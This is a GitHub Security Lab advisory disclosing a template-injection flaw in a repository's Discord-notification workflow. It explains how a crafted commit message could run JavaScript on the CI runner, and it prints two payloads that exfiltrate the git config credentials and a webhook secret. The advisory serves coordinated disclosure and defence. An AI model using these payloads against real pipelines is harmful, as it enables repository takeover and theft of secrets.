skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
March 11, 2021

GHSL-2020-324: Template injection in a GitHub workflow of koriwi/freedeck-configurator

Jaroslav Lobacevski

Coordinated Disclosure Timeline


The ‘develop.yml’ GitHub workflow is vulnerable to template injection.


koriwi/freedeck-configurator GitHub repository

Tested Version

The latest changeset to the date 9bcff8a.


Issue: A commit comment is used to format a Discord message

        uses: Ilshidur/action-discord@0.0.2
          DISCORD_WEBHOOK: ${{ secrets.WEBHOOK_URL }}
          args: "A new develop version has been deployed! What's new? **${{ github.event.head_commit.message }}**"

The ${{ github.event.head_commit.message }}, used here, allows for injection of arbitrary markdown into the Discord message.

An attacker may create a specially crafted commit description and make a valid pull request, that will be merged. It is likely that the reviewer will not notice it, especially if there are multiple commits in the single PR.


Current impact is almost negligible, but the vulnerability may potentially become much more serious if the workflow is updated to use a newer version of the action. Since v0.3.0 the Discord action supports interpolation syntax for environment arguments. There are examples of indented usage in a documentation like The project {{ EVENT_PAYLOAD.repository.full_name }} has been deployed. The interpolation is implemented in a way that the expressions may be interpreted as javascript:

const _ = require('lodash');
const message = _.template(args)({ ...process.env, EVENT_PAYLOAD: JSON.parse(eventContent) });

This vulnerability allows for arbitrary code execution in the context of a GitHub runner. Since a checkout action is used without persist-credentials set to false an attacker could get a write access to the repository with the payload below:

{{ process.mainModule.require('http').get(''+process.mainModule.require('fs').readFileSync('./.git/config').toString('base64')) }}

The following payload would exfiltrate the secret DISCORD_WEBHOOK to the attacker controlled server. This would give the attacker full control over Discord message hook.

{{ process.mainModule.require('http').get('${WEBHOOK_URL}') }}


This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).


You can contact the GHSL team at, please include a reference to GHSL-2020-324 in any communication regarding this issue.